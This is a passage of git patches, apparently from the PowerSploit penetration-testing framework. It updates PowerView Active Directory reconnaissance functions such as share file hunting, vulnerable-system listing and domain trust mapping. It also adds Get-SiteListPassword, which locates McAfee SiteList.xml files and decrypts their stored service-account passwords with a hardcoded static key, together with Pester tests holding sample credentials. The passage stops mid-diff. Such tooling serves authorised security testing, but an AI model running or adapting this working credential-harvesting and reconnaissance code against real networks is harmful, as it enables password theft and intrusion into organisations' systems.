+9977,9 @@ function Invoke-FileFinder { Write-Verbose "[*] Adding share search path $DCSearchPath" $Shares += $DCSearchPath } - if(!$Terms) { + if(!$SearchTerms) { # search for interesting scripts on SYSVOL - $Terms = @('.vbs', '.bat', '.ps1') + $SearchTerms = @('.vbs', '.bat', '.ps1') } } else { @@ -9691,7 +10001,7 @@ function Invoke-FileFinder { # script block that enumerates shares and files on a server $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) Write-Verbose "ComputerName: $ComputerName" Write-Verbose "ExcludedShares: $ExcludedShares" @@ -9737,7 +10047,7 @@ function Invoke-FileFinder { ForEach($Share in $SearchShares) { $SearchArgs = @{ 'Path' = $Share - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'OfficeDocs' = $OfficeDocs 'FreshEXEs' = $FreshEXEs 'LastAccessTime' = $LastAccessTime @@ -9748,7 +10058,6 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } Find-InterestingFile @SearchArgs @@ -9765,7 +10074,7 @@ function Invoke-FileFinder { $ScriptParams = @{ 'Ping' = $(-not $NoPing) 'ExcludedShares' = $ExcludedShares - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'ExcludeFolders' = $ExcludeFolders 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden @@ -9773,7 +10082,6 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -9808,7 +10116,7 @@ function Invoke-FileFinder { Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive } } } @@ -10121,6 +10429,11 @@ function Get-ExploitableSystem { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE The example below shows the standard command usage. Disabled system are excluded by default, but @@ -10210,7 +10523,10 @@ function Get-ExploitableSystem { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) Write-Verbose "[*] Grabbing computer accounts from Active Directory..." @@ -10376,6 +10692,7 @@ function Get-ExploitableSystem { # Display results $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { # Return vulnerable server list order with some hack date casting Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" @@ -10727,7 +11044,7 @@ function Get-NetDomainTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -10737,13 +11054,21 @@ function Get-NetDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { + + if(!$Domain) { + $Domain = (Get-NetDomain -Credential $Credential).Name + } + if($LDAP -or $DomainController) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize if($TrustSearcher) { @@ -10787,10 +11112,10 @@ function Get-NetDomainTrust { else { # if we're using direct domain connections - $FoundDomain = Get-NetDomain -Domain $Domain + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential if($FoundDomain) { - (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + $FoundDomain.GetAllTrustRelationships() } } } @@ -10807,6 +11132,11 @@ function Get-NetForestTrust { Return trusts for the specified forest. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestTrust @@ -10824,11 +11154,15 @@ function Get-NetForestTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) process { - $FoundForest = Get-NetForest -Forest $Forest + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + if($FoundForest) { $FoundForest.GetAllTrustRelationships() } @@ -11193,6 +11527,11 @@ function Invoke-MapDomainTrust { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv @@ -11213,7 +11552,11 @@ function Invoke-MapDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) # keep track of domains seen so we don't hit infinite recursion @@ -11223,7 +11566,7 @@ function Invoke-MapDomainTrust { $Domains = New-Object System.Collections.Stack # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain).Name + $CurrentDomain = (Get-NetDomain -Credential $Credential).Name $Domains.push($CurrentDomain) while($Domains.Count -ne 0) { @@ -11231,7 +11574,7 @@ function Invoke-MapDomainTrust { $Domain = $Domains.Pop() # if we haven't seen this domain before - if (-not $SeenDomains.ContainsKey($Domain)) { + if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "Enumerating trusts for domain '$Domain'" @@ -11241,10 +11584,10 @@ function Invoke-MapDomainTrust { try { # get all the trusts for this domain if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential } else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } if($Trusts -isnot [system.array]) { @@ -11252,7 +11595,7 @@ function Invoke-MapDomainTrust { } # get any forest trusts, if they exist - $Trusts += Get-NetForestTrust -Forest $Domain + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential if ($Trusts) { From 2e6b301170e67938e553e47e9f23353814ea2b3b Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 11 Feb 2016 21:42:20 -0500 Subject: [PATCH 095/296] Added Get-SiteListPassword to decrypt McAfee SiteList.xml file passwords. --- Privesc/Get-SiteListPassword.ps1 | 201 +++++++++++++++++++++++++++++++ Privesc/Privesc.psd1 | 3 +- 2 files changed, 203 insertions(+), 1 deletion(-) create mode 100644 Privesc/Get-SiteListPassword.ps1 diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 new file mode 100644 index 00000000..7d5f679d --- /dev/null +++ b/Privesc/Get-SiteListPassword.ps1 @@ -0,0 +1,201 @@ +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER SiteListFilePath + + Optional path to a SiteList.xml file. + + .EXAMPLE + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +#> + + [CmdletBinding()] + param( + [ValidateScript({Test-Path -Path $_ })] + [String] + $SiteListFilePath + ) + + function Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.IV = ,0x00*8 + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.HttpSite | Foreach-Object { + $Name = $_.Name + $Enabled = $_.Enabled + $Server = $_.Server + $Path = $_.RelativePath + $UserName = $_.UserName + $PasswordRaw = $_.Password.'#Text' + + try { + $PasswordRaw = $_.Password.'#Text' + + # decrypt the base64 password + $DecPassword = Get-DecryptedSitelistPassword -B64Pass $PasswordRaw + + #Create custom object to output results + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $_.Server; + 'Path' = $_.RelativePath; + 'DomainName' = ''; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword.Decrypted; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing HttpSite : $_" + } + } + + $SiteListXml.SiteLists.SiteList.UNCSite | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + # decrypt the base64 password + $DecPassword = Get-DecryptedSitelistPassword -B64Pass $PasswordRaw + + #Create custom object to output results + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $_.Server; + 'Path' = $_.ShareName; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword.Decrypted; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing UNCSite : $_" + } + } + } + } + catch { + Write-Error $Error[0] + } + } + + if($SiteListFilePath) { + $XmlFiles = Get-ChildItem -Path $SiteListFilePath + } + else { + $XmlFiles = Get-ChildItem -Recurse -Include 'SiteList.xml' -Path 'C:\Program Files\' -ErrorAction SilentlyContinue + $XmlFiles += Get-ChildItem -Recurse -Include 'SiteList.xml' -Path 'C:\Program Files (x86)\' -ErrorAction SilentlyContinue + } + + $XmlFiles | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } +} diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 2ccdb8e4..9777f2ac 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -42,7 +42,8 @@ FunctionsToExport = @( 'Restore-ServiceBinary', 'Write-HijackDll', 'Write-ServiceBinary', - 'Write-UserAddMSI' + 'Write-UserAddMSI', + 'Get-SiteListPassword' ) # List of all files packaged with this module From eae5eef91fafd6539f8ba4f38c5fcac8aafb61c2 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 12 Feb 2016 16:26:35 -0500 Subject: [PATCH 096/296] Added additional search paths, code cleanup. --- Privesc/Get-SiteListPassword.ps1 | 56 ++++++++------------------------ 1 file changed, 14 insertions(+), 42 deletions(-) diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 index 7d5f679d..a37f63c9 100644 --- a/Privesc/Get-SiteListPassword.ps1 +++ b/Privesc/Get-SiteListPassword.ps1 @@ -17,6 +17,8 @@ function Get-SiteListPassword { Optional path to a SiteList.xml file. .EXAMPLE + + PS C:\> Get-SiteListPassword EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : @@ -91,7 +93,6 @@ function Get-SiteListPassword { # set the options we need $3DES.Mode = 'ECB' $3DES.Padding = 'None' - $3DES.IV = ,0x00*8 $3DES.Key = $3DESKey # decrypt the unXor'ed block @@ -123,66 +124,36 @@ function Get-SiteListPassword { if($SiteListXml.InnerXml -Like "*password*") { Write-Verbose "Potential password in found in $Path" - $SiteListXml.SiteLists.SiteList.HttpSite | Foreach-Object { - $Name = $_.Name - $Enabled = $_.Enabled - $Server = $_.Server - $Path = $_.RelativePath - $UserName = $_.UserName - $PasswordRaw = $_.Password.'#Text' - + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { try { $PasswordRaw = $_.Password.'#Text' # decrypt the base64 password - $DecPassword = Get-DecryptedSitelistPassword -B64Pass $PasswordRaw + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} - #Create custom object to output results - $ObjectProperties = @{ - 'Name' = $_.Name; - 'Enabled' = $_.Enabled; - 'Server' = $_.Server; - 'Path' = $_.RelativePath; - 'DomainName' = ''; - 'UserName' = $_.UserName; - 'EncPassword' = $PasswordRaw; - 'DecPassword' = $DecPassword.Decrypted; - } - New-Object -TypeName PSObject -Property $ObjectProperties - } - catch { - Write-Debug "Error parsing HttpSite : $_" - } - } - - $SiteListXml.SiteLists.SiteList.UNCSite | Foreach-Object { - try { - $PasswordRaw = $_.Password.'#Text' - - # decrypt the base64 password - $DecPassword = Get-DecryptedSitelistPassword -B64Pass $PasswordRaw + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } - #Create custom object to output results $ObjectProperties = @{ 'Name' = $_.Name; 'Enabled' = $_.Enabled; - 'Server' = $_.Server; - 'Path' = $_.ShareName; + 'Server' = $Server; + 'Path' = $Path; 'DomainName' = $_.DomainName; 'UserName' = $_.UserName; 'EncPassword' = $PasswordRaw; - 'DecPassword' = $DecPassword.Decrypted; + 'DecPassword' = $DecPassword; } New-Object -TypeName PSObject -Property $ObjectProperties } catch { - Write-Debug "Error parsing UNCSite : $_" + Write-Debug "Error parsing node : $_" } } } } catch { - Write-Error $Error[0] + Write-Error $_ } } @@ -190,8 +161,9 @@ function Get-SiteListPassword { $XmlFiles = Get-ChildItem -Path $SiteListFilePath } else { - $XmlFiles = Get-ChildItem -Recurse -Include 'SiteList.xml' -Path 'C:\Program Files\' -ErrorAction SilentlyContinue - $XmlFiles += Get-ChildItem -Recurse -Include 'SiteList.xml' -Path 'C:\Program Files (x86)\' -ErrorAction SilentlyContinue + $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { + Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + } } $XmlFiles | Where-Object { $_ } | Foreach-Object { From 6de1d78af875300f8f1d82fad64b4471ed33882a Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 12 Feb 2016 17:25:13 -0500 Subject: [PATCH 097/296] Added Pester tests for Get-SiteListPassword Encrypted password check for Get-SiteListPassword fields --- Privesc/Get-SiteListPassword.ps1 | 9 +++- Tests/Privesc.tests.ps1 | 88 ++++++++++++++++++++++++++++++++ 2 files changed, 95 insertions(+), 2 deletions(-) diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 index a37f63c9..f6318729 100644 --- a/Privesc/Get-SiteListPassword.ps1 +++ b/Privesc/Get-SiteListPassword.ps1 @@ -128,8 +128,13 @@ function Get-SiteListPassword { try { $PasswordRaw = $_.Password.'#Text' - # decrypt the base64 password - $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 56dfd2cc..296829fb 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -699,3 +699,91 @@ Describe 'Invoke-AllChecks' { $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue } } + +Describe 'Get-SiteListPassword' { + BeforeEach { + $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $Xml | Out-File -FilePath "${Home}\SiteList.xml" -Force + } + AfterEach { + Remove-Item -Force "${Home}\SiteList.xml" + } + + It 'Should correctly parse a SiteList.xml found in a searched path.' { + + $Credentials = Get-SiteListPassword + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } + + It 'Should correctly parse a SiteList.xml on a searched path.' { + + $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml" + + $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { + # HTTP site + $_.Enabled | Should Be '1' + $_.Server | Should Be 'update.nai.com:80' + $_.Path | Should Be 'Products/CommonUpdater' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should BeNullOrEmpty + $_.DomainName | Should BeNullOrEmpty + } + + + $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { + # UNC site with unencrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'paris001' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'Password123!' + $_.DecPassword | Should Be 'Password123!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + + $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object { + # UNC site with encrypted password + $_.Enabled | Should Be '1' + $_.Server | Should Be 'tokyo000' + $_.Path | Should Be 'Repository$' + $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' + $_.DecPassword | Should Be 'MyStrongPassword!' + $_.UserName | Should Be 'McAfeeService' + $_.DomainName | Should Be 'companydomain' + } + } +} From 4aea2f12f95452dc1c56b5d58f9135a81f8dab2d Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 28 Feb 2016 22:30:22 -0500 Subject: [PATCH 098/296] -fixed several bugs in Find-GPOLocation (-GroupName now works properly and Sites returned) -Find-GPOLocation with no arguments now returns all mappings -fixed parsing issue in Get-NetGPOGroup- names now properly extracted from restricted group templates --- Recon/PowerView.ps1 | 279 +++++++++++++++++++++++--------------------- 1 file changed, 147 insertions(+), 132 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 36e2693c..59f603fc 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1345,7 +1345,7 @@ function ConvertFrom-UACValue { if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } - } + } } $ResultUACValues } @@ -3429,7 +3429,7 @@ filter Get-GUIDMap { } catch { Write-Debug "Error in building GUID map: $_" - } + } } $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential @@ -3586,6 +3586,9 @@ function Get-NetComputer { [String] $ADSpath, + [String] + $SiteName, + [Switch] $Unconstrained, @@ -3627,8 +3630,13 @@ function Get-NetComputer { if($ServicePack) { $Filter += "(operatingsystemservicepack=$ServicePack)" } + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" + } - $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : '$CompFilter'" + $CompSearcher.filter = $CompFilter try { @@ -5428,7 +5436,6 @@ function Get-GptTmpl { [CmdletBinding()] Param ( - [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GptTmplPath, @@ -5539,7 +5546,6 @@ function Get-GroupsXML { [CmdletBinding()] Param ( - [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GroupsXMLPath, @@ -5581,71 +5587,76 @@ function Get-GroupsXML { process { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath - - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - - $Members = @() - $MemberOf = @() + try { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop - # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid - if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' - } - elseif($_.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' - } - else { - $LocalSid = $_.Properties.groupName - } - } - $MemberOf = @($LocalSid) + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - $_.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + $Members = @() + $MemberOf = @() - if($_.sid) { - $Members += $_.sid + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' } else { - # just a straight local account name - $Members += $_.name + $LocalSid = $_.Properties.groupName } } - } + $MemberOf = @($LocalSid) + + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if ($Members -or $Memberof) { - # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } } } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} - } + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } } } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } } end { @@ -5849,33 +5860,44 @@ function Get-NetGPOGroup { $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - # only return an object if Members are found - if ($Members -or $Memberof) { - - # if there is no Memberof defined, assume local admins - if(!$Memberof) { - $Memberof = 'S-1-5-32-544' + if(!$Members) { + try { + $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name + $Members = ($MembersRaw -split "__")[0].trim("*") + } + catch { + $MembersRaw = '' } + } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + if(!$Memberof) { + try { + $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name + $Memberof = ($MemberofRaw -split "__")[0].trim("*") } + catch { + $Memberof = '' + } + } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } + $Members = $Members | ForEach-Object { Convert-SidToName $_ } + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} + if($Members -isnot [System.Array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 